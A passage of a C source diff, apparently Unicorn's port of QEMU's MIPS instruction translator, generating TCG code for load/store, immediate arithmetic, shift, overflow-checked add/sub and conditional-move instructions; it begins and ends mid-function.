tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, t1, t0, 7); +#ifndef TARGET_WORDS_BIGENDIAN + tcg_gen_xori_tl(tcg_ctx, t1, t1, 7); +#endif + tcg_gen_shli_tl(tcg_ctx, t1, t1, 3); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~7); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEQ); + tcg_gen_shl_tl(tcg_ctx, t0, t0, t1); + tcg_gen_xori_tl(tcg_ctx, t1, t1, 63); + t2 = tcg_const_tl(tcg_ctx, 0x7fffffffffffffffull); + tcg_gen_shr_tl(tcg_ctx, t2, t2, t1); + gen_load_gpr(ctx, t1, rt); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "ldl"; + break; + case OPC_LDR: + t1 = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, t1, t0, 7); +#ifdef TARGET_WORDS_BIGENDIAN + tcg_gen_xori_tl(tcg_ctx, t1, t1, 7); +#endif + tcg_gen_shli_tl(tcg_ctx, t1, t1, 3); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~7); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEQ); + tcg_gen_shr_tl(tcg_ctx, t0, t0, t1); + tcg_gen_xori_tl(tcg_ctx, t1, t1, 63); + t2 = tcg_const_tl(tcg_ctx, 0xfffffffffffffffeull); + tcg_gen_shl_tl(tcg_ctx, t2, t2, t1); + gen_load_gpr(ctx, t1, rt); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "ldr"; + break; + case OPC_LDPC: + t1 = tcg_const_tl(tcg_ctx, pc_relative_pc(ctx)); + gen_op_addr_add(ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEQ); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "ldpc"; + break; +#endif + case OPC_LWPC: + t1 = tcg_const_tl(tcg_ctx, pc_relative_pc(ctx)); + gen_op_addr_add(ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lwpc"; + break; + case OPC_LW: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESL); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lw"; + break; + case OPC_LH: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TESW); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lh"; + break; + case OPC_LHU: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEUW); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lhu"; + break; + case OPC_LB: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_SB); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lb"; + break; + case OPC_LBU: + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_UB); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lbu"; + break; + case OPC_LWL: + t1 = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, t1, t0, 3); +#ifndef TARGET_WORDS_BIGENDIAN + tcg_gen_xori_tl(tcg_ctx, t1, t1, 3); +#endif + tcg_gen_shli_tl(tcg_ctx, t1, t1, 3); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~3); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEUL); + tcg_gen_shl_tl(tcg_ctx, t0, t0, t1); + tcg_gen_xori_tl(tcg_ctx, t1, t1, 31); + t2 = tcg_const_tl(tcg_ctx, 0x7fffffffull); + tcg_gen_shr_tl(tcg_ctx, t2, t2, t1); + gen_load_gpr(ctx, t1, rt); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lwl"; + break; + case OPC_LWR: + t1 = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, t1, t0, 3); +#ifdef TARGET_WORDS_BIGENDIAN + tcg_gen_xori_tl(tcg_ctx, t1, t1, 3); +#endif + tcg_gen_shli_tl(tcg_ctx, t1, t1, 3); + tcg_gen_andi_tl(tcg_ctx, t0, t0, ~3); + tcg_gen_qemu_ld_tl(ctx->uc, t0, t0, ctx->mem_idx, MO_TEUL); + tcg_gen_shr_tl(tcg_ctx, t0, t0, t1); + tcg_gen_xori_tl(tcg_ctx, t1, t1, 31); + t2 = tcg_const_tl(tcg_ctx, 0xfffffffeull); + tcg_gen_shl_tl(tcg_ctx, t2, t2, t1); + gen_load_gpr(ctx, t1, rt); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_or_tl(tcg_ctx, t0, t0, t1); + tcg_temp_free(tcg_ctx, t1); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "lwr"; + break; + case OPC_LL: + case R6_OPC_LL: + save_cpu_state(ctx, 1); + op_ld_ll(tcg_ctx, t0, t0, ctx); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "ll"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %d(%s)", opn, regnames[rt], offset, regnames[base]); + tcg_temp_free(tcg_ctx, t0); +} + +/* Store */ +static void gen_st (DisasContext *ctx, uint32_t opc, int rt, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "st"; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + gen_base_offset_addr(ctx, t0, base, offset); + gen_load_gpr(ctx, t1, rt); + switch (opc) { +#if defined(TARGET_MIPS64) + case OPC_SD: + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEQ); + opn = "sd"; + break; + case OPC_SDL: + save_cpu_state(ctx, 1); + gen_helper_0e2i(tcg_ctx, sdl, t1, t0, ctx->mem_idx); + opn = "sdl"; + break; + case OPC_SDR: + save_cpu_state(ctx, 1); + gen_helper_0e2i(tcg_ctx, sdr, t1, t0, ctx->mem_idx); + opn = "sdr"; + break; +#endif + case OPC_SW: + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + opn = "sw"; + break; + case OPC_SH: + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUW); + opn = "sh"; + break; + case OPC_SB: + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_8); + opn = "sb"; + break; + case OPC_SWL: + save_cpu_state(ctx, 1); + gen_helper_0e2i(tcg_ctx, swl, t1, t0, ctx->mem_idx); + opn = "swl"; + break; + case OPC_SWR: + save_cpu_state(ctx, 1); + gen_helper_0e2i(tcg_ctx, swr, t1, t0, ctx->mem_idx); + opn = "swr"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %d(%s)", opn, regnames[rt], offset, regnames[base]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + + +/* Store conditional */ +static void gen_st_cond (DisasContext *ctx, uint32_t opc, int rt, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "st_cond"; + TCGv t0, t1; + +#ifdef CONFIG_USER_ONLY + t0 = tcg_temp_local_new(tcg_ctx); + t1 = tcg_temp_local_new(tcg_ctx); +#else + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); +#endif + gen_base_offset_addr(ctx, t0, base, offset); + gen_load_gpr(ctx, t1, rt); + switch (opc) { +#if defined(TARGET_MIPS64) + case OPC_SCD: + case R6_OPC_SCD: + save_cpu_state(ctx, 1); + op_st_scd(tcg_ctx, t1, t0, rt, ctx); + opn = "scd"; + break; +#endif + case OPC_SC: + case R6_OPC_SC: + save_cpu_state(ctx, 1); + op_st_sc(tcg_ctx, t1, t0, rt, ctx); + opn = "sc"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %d(%s)", opn, regnames[rt], offset, regnames[base]); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t0); +} + +/* Load and store */ +static void gen_flt_ldst (DisasContext *ctx, uint32_t opc, int ft, + int base, int16_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "flt_ldst"; + TCGv t0 = tcg_temp_new(tcg_ctx); + + gen_base_offset_addr(ctx, t0, base, offset); + /* Don't do NOP if destination is zero: we must perform the actual + memory access. */ + switch (opc) { + case OPC_LWC1: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_qemu_ld_i32(ctx->uc, fp0, t0, ctx->mem_idx, MO_TESL); + gen_store_fpr32(ctx, fp0, ft); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "lwc1"; + break; + case OPC_SWC1: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, ft); + tcg_gen_qemu_st_i32(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEUL); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "swc1"; + break; + case OPC_LDC1: + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ld_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + gen_store_fpr64(ctx, fp0, ft); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "ldc1"; + break; + case OPC_SDC1: + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, ft); + tcg_gen_qemu_st_i64(ctx->uc, fp0, t0, ctx->mem_idx, MO_TEQ); + tcg_temp_free_i64(tcg_ctx, fp0); + } + opn = "sdc1"; + break; + default: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + goto out; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %d(%s)", opn, fregnames[ft], offset, regnames[base]); + out: + tcg_temp_free(tcg_ctx, t0); +} + +static void gen_cop1_ldst(DisasContext *ctx, uint32_t op, int rt, + int rs, int16_t imm) +{ + if (ctx->CP0_Config1 & (1 << CP0C1_FP)) { + check_cp1_enabled(ctx); + gen_flt_ldst(ctx, op, rt, rs, imm); + } else { + generate_exception_err(ctx, EXCP_CpU, 1); + } +} + +/* Arithmetic with immediate operand */ +static void gen_arith_imm(DisasContext *ctx, uint32_t opc, + int rt, int rs, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_ulong uimm = (target_long)imm; /* Sign extend to 32/64 bits */ + const char *opn = "imm arith"; + + if (rt == 0 && opc != OPC_ADDI && opc != OPC_DADDI) { + /* If no destination, treat it as a NOP. + For addi, we must generate the overflow exception when needed. */ + MIPS_DEBUG("NOP"); + return; + } + switch (opc) { + case OPC_ADDI: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + tcg_gen_addi_tl(tcg_ctx, t0, t1, uimm); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + + tcg_gen_xori_tl(tcg_ctx, t1, t1, ~uimm); + tcg_gen_xori_tl(tcg_ctx, t2, t0, uimm); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of same sign, result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + gen_store_gpr(tcg_ctx, t0, rt); + tcg_temp_free(tcg_ctx, t0); + } + opn = "addi"; + break; + case OPC_ADDIU: + if (rs != 0) { + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], uimm); + } + opn = "addiu"; + break; +#if defined(TARGET_MIPS64) + case OPC_DADDI: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + tcg_gen_addi_tl(tcg_ctx, t0, t1, uimm); + + tcg_gen_xori_tl(tcg_ctx, t1, t1, ~uimm); + tcg_gen_xori_tl(tcg_ctx, t2, t0, uimm); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of same sign, result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + gen_store_gpr(tcg_ctx, t0, rt); + tcg_temp_free(tcg_ctx, t0); + } + opn = "daddi"; + break; + case OPC_DADDIU: + if (rs != 0) { + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], uimm); + } + opn = "daddiu"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, " TARGET_FMT_lx, opn, regnames[rt], regnames[rs], uimm); +} + +/* Logic with immediate operand */ +static void gen_logic_imm(DisasContext *ctx, uint32_t opc, + int rt, int rs, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_ulong uimm; + + if (rt == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + uimm = (uint16_t)imm; + switch (opc) { + case OPC_ANDI: + if (likely(rs != 0)) + tcg_gen_andi_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm); + else + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], 0); + MIPS_DEBUG("andi %s, %s, " TARGET_FMT_lx, regnames[rt], + regnames[rs], uimm); + break; + case OPC_ORI: + if (rs != 0) + tcg_gen_ori_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm); + else + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], uimm); + MIPS_DEBUG("ori %s, %s, " TARGET_FMT_lx, regnames[rt], + regnames[rs], uimm); + break; + case OPC_XORI: + if (likely(rs != 0)) + tcg_gen_xori_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm); + else + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], uimm); + MIPS_DEBUG("xori %s, %s, " TARGET_FMT_lx, regnames[rt], + regnames[rs], uimm); + break; + case OPC_LUI: + if (rs != 0 && (ctx->insn_flags & ISA_MIPS32R6)) { + /* OPC_AUI */ + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rs], uimm << 16); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], *cpu_gpr[rt]); + MIPS_DEBUG("aui %s, %s, %04x", regnames[rt], regnames[rs], imm); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rt], uimm << 16); + MIPS_DEBUG("lui %s, " TARGET_FMT_lx, regnames[rt], uimm); + } + break; + + default: + MIPS_DEBUG("Unknown logical immediate opcode %08x", opc); + break; + } +} + +/* Set on less than with immediate operand */ +static void gen_slt_imm(DisasContext *ctx, uint32_t opc, + int rt, int rs, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_ulong uimm = (target_long)imm; /* Sign extend to 32/64 bits */ + const char *opn = "imm arith"; + TCGv t0; + + if (rt == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + switch (opc) { + case OPC_SLTI: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LT, *cpu_gpr[rt], t0, uimm); + opn = "slti"; + break; + case OPC_SLTIU: + tcg_gen_setcondi_tl(tcg_ctx, TCG_COND_LTU, *cpu_gpr[rt], t0, uimm); + opn = "sltiu"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, " TARGET_FMT_lx, opn, regnames[rt], regnames[rs], uimm); + tcg_temp_free(tcg_ctx, t0); +} + +/* Shifts with immediate operand */ +static void gen_shift_imm(DisasContext *ctx, uint32_t opc, + int rt, int rs, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_ulong uimm = ((uint16_t)imm) & 0x1f; + const char *opn = "imm shift"; + TCGv t0; + + if (rt == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + switch (opc) { + case OPC_SLL: + tcg_gen_shli_tl(tcg_ctx, t0, t0, uimm); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], t0); + opn = "sll"; + break; + case OPC_SRA: + tcg_gen_sari_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + opn = "sra"; + break; + case OPC_SRL: + if (uimm != 0) { + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + } else { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], t0); + } + opn = "srl"; + break; + case OPC_ROTR: + if (uimm != 0) { + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, t1, t0); + tcg_gen_rotri_i32(tcg_ctx, t1, t1, uimm); + tcg_gen_ext_i32_tl(tcg_ctx, *cpu_gpr[rt], t1); + tcg_temp_free_i32(tcg_ctx, t1); + } else { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rt], t0); + } + opn = "rotr"; + break; +#if defined(TARGET_MIPS64) + case OPC_DSLL: + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + opn = "dsll"; + break; + case OPC_DSRA: + tcg_gen_sari_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + opn = "dsra"; + break; + case OPC_DSRL: + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + opn = "dsrl"; + break; + case OPC_DROTR: + if (uimm != 0) { + tcg_gen_rotri_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm); + } else { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rt], t0); + } + opn = "drotr"; + break; + case OPC_DSLL32: + tcg_gen_shli_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm + 32); + opn = "dsll32"; + break; + case OPC_DSRA32: + tcg_gen_sari_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm + 32); + opn = "dsra32"; + break; + case OPC_DSRL32: + tcg_gen_shri_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm + 32); + opn = "dsrl32"; + break; + case OPC_DROTR32: + tcg_gen_rotri_tl(tcg_ctx, *cpu_gpr[rt], t0, uimm + 32); + opn = "drotr32"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, " TARGET_FMT_lx, opn, regnames[rt], regnames[rs], uimm); + tcg_temp_free(tcg_ctx, t0); +} + +/* Arithmetic */ +static void gen_arith(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "arith"; + + if (rd == 0 && opc != OPC_ADD && opc != OPC_SUB + && opc != OPC_DADD && opc != OPC_DSUB) { + /* If no destination, treat it as a NOP. + For add & sub, we must generate the overflow exception when needed. */ + MIPS_DEBUG("NOP"); + return; + } + + switch (opc) { + case OPC_ADD: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + gen_load_gpr(ctx, t2, rt); + tcg_gen_add_tl(tcg_ctx, t0, t1, t2); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_xor_tl(tcg_ctx, t1, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t2, t0, t2); + tcg_gen_andc_tl(tcg_ctx, t1, t2, t1); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of same sign, result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + } + opn = "add"; + break; + case OPC_ADDU: + if (rs != 0 && rt != 0) { + tcg_gen_add_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + } else if (rs == 0 && rt != 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "addu"; + break; + case OPC_SUB: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + gen_load_gpr(ctx, t2, rt); + tcg_gen_sub_tl(tcg_ctx, t0, t1, t2); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_xor_tl(tcg_ctx, t2, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t1, t0, t1); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of different sign, first operand and result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + } + opn = "sub"; + break; + case OPC_SUBU: + if (rs != 0 && rt != 0) { + tcg_gen_sub_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + } else if (rs == 0 && rt != 0) { + tcg_gen_neg_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "subu"; + break; +#if defined(TARGET_MIPS64) + case OPC_DADD: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + gen_load_gpr(ctx, t2, rt); + tcg_gen_add_tl(tcg_ctx, t0, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t1, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t2, t0, t2); + tcg_gen_andc_tl(tcg_ctx, t1, t2, t1); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of same sign, result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + } + opn = "dadd"; + break; + case OPC_DADDU: + if (rs != 0 && rt != 0) { + tcg_gen_add_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else if (rs == 0 && rt != 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "daddu"; + break; + case OPC_DSUB: + { + TCGv t0 = tcg_temp_local_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + TCGv t2 = tcg_temp_new(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + gen_load_gpr(ctx, t1, rs); + gen_load_gpr(ctx, t2, rt); + tcg_gen_sub_tl(tcg_ctx, t0, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t2, t1, t2); + tcg_gen_xor_tl(tcg_ctx, t1, t0, t1); + tcg_gen_and_tl(tcg_ctx, t1, t1, t2); + tcg_temp_free(tcg_ctx, t2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_GE, t1, 0, l1); + tcg_temp_free(tcg_ctx, t1); + /* operands of different sign, first operand and result different sign */ + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, l1); + gen_store_gpr(tcg_ctx, t0, rd); + tcg_temp_free(tcg_ctx, t0); + } + opn = "dsub"; + break; + case OPC_DSUBU: + if (rs != 0 && rt != 0) { + tcg_gen_sub_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + } else if (rs == 0 && rt != 0) { + tcg_gen_neg_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rt]); + } else if (rs != 0 && rt == 0) { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "dsubu"; + break; +#endif + case OPC_MUL: + if (likely(rs != 0 && rt != 0)) { + tcg_gen_mul_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs], *cpu_gpr[rt]); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } + opn = "mul"; + break; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); +} + +/* Conditional move */ +static void gen_cond_move(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "cond move"; + TCGv t0, t1, t2; + + if (rd == 0) { + /* If no destination, treat it as a NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rt); + t1 = tcg_const_tl(tcg_ctx, 0); + t2 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t2, rs); + switch (opc) { + case OPC_MOVN: + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, *cpu_gpr[rd], t0, t1, t2, *cpu_gpr[rd]); + opn = "movn"; + break; + case OPC_MOVZ: + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, *cpu_gpr[rd], t0, t1, t2, *cpu_gpr[rd]); + opn = "movz"; + break; + case OPC_SELNEZ: + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_NE, *cpu_gpr[rd], t0, t1, t2, t1); + opn = "selnez"; + break; + case OPC_SELEQZ: + tcg_gen_movcond_tl(tcg_ctx, 